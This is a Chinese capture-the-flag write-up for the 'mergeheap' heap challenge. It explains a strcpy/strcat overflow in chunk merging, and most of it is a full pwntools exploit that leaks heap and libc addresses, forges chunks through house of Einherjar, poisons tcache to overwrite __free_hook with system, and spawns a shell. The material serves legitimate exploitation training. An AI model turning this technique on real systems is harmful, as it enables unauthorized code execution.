欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

mergeheap

程序员文章站 2022-05-15 22:09:46
...

mergeheap

首先,检查一下程序的保护机制

mergeheap

然后,我们用IDA分析一下,在合并的时候,存在溢出,strcpy、strcat可能会将下一个chunk的size也拷贝过来,从而可以溢出修改下一个chunk的size。

mergeheap

并且,由于merge的时候使用的是strcpy、strcat,遇到\0字符会截断,因此当我们写64位地址数据的时候,需要从最后一个开始写,前面全部用不截断的字符填充。依次从后往前完成64位数据的布置。通过伪造chunk,利用house of Einherjar,形成overlap chunk后,修改tcache bin chunk的next指针,达到任意地址分配。

#coding:utf8
from pwn import *

#sh = process('./mergeheap')
sh = remote('node3.buuoj.cn',29551)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def add(size,content):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('len:',str(size))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('idx:',str(index))

def delete(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('idx:',str(index))

def merge(index1,index2):
   sh.sendlineafter('>>','4')
   sh.sendlineafter('idx1:',str(index1))
   sh.sendlineafter('idx2:',str(index2))

#0
add(0x80,'a'*0x80)
#1~7
for i in range(7):
   add(0x80,'b'*0x80)
#8
add(0x80,'c'*0x80)
#9
add(0x100,'d'*0x100)
#10
add(0x80,'e'*0x80)
#11
add(0x10,'f'*0x10)
#12
add(0x10,'e'*0x10)
delete(12)
delete(11)
#泄露堆地址
add(0,'') #11
show(11)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(0,'') #12
#7个进tcache
for i in range(1,8):
   delete(i)
#得到unsorted bin
delete(0)
#泄露地址
add(0,'') #0
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

####第一次,我们修改size######
#1
add(0x80,'b'*(0x80 - 1) + p8(0x90))
#2
add(0x88,'b'*0x88)
#9放入0x110的tcache bin
delete(9)
#3,合并后,会修改9的size
merge(2,1)
#将chunk8的index换到4来
delete(8)
add(0x80,'c'*0x80) #4

#清空chunk8某处8字节数据
def clearChunk8(offset):
   for i in range(7,-1,-1):
      delete(4)
      add(0x80,'b'*offset + 'b'*i + '\n') #4

def writeChunk8(offset,data):
   delete(4)
   add(0x80,'b'*offset + p64(data)[0:7] + '\n') #4

#清空后一个堆里某处8字节数据
def clearLast(offset):
   for i in range(7,-1,-1):
      #将1、2重新返回tcache bin
      delete(2)
      delete(1)
      #释放0x110的chunk
      delete(3)
      #1
      add(0x80,'b'*offset + 'b'*i + '\n')
      #2
      add(0x88,'b'*0x88)
      #3
      merge(2,1)

def writePrevSize(data):
   #将1、2重新返回tcache bin
   delete(2)
   delete(1)
   #释放0x110的chunk
   delete(3)
   #1
   add(0x80,'b'*(0x80 - 9) + p64(data) + '\n')
   #2
   add(0x88,'b'*0x88)
   #3
   merge(2,1)

####第二次,我们用同样的方法修改prev_size#####
#先清空prev_size处的数据
clearLast(0x80 - 9)
#现在,写prev_size
writePrevSize(0x110 + 0x80)
#我们要在chunk8里伪造一个chunk
#伪造bk
clearChunk8(0x18)
writeChunk8(0x18,heap_addr - 0x250)
#伪造fd
clearChunk8(0x10)
writeChunk8(0x10,heap_addr - 0x250)
#伪造size
clearChunk8(0x8)
writeChunk8(0x8,0x80 + 0x111)
delete(1)
delete(2)
#unsorted bin合并,形成overlap chunk
delete(10)
#0x110的chunk放入tcache bin
delete(3)
#1
add(0x70,'c'*0x70)
#与0x110的chunk重合
add(0x70,p64(free_hook_addr) + '\n')
add(0x100,'/bin/sh\x00\n') #2
#申请到free_hook处
add(0x100,p64(system_addr) + '\n')
#getshell
delete(2)

sh.interactive()

 

推荐阅读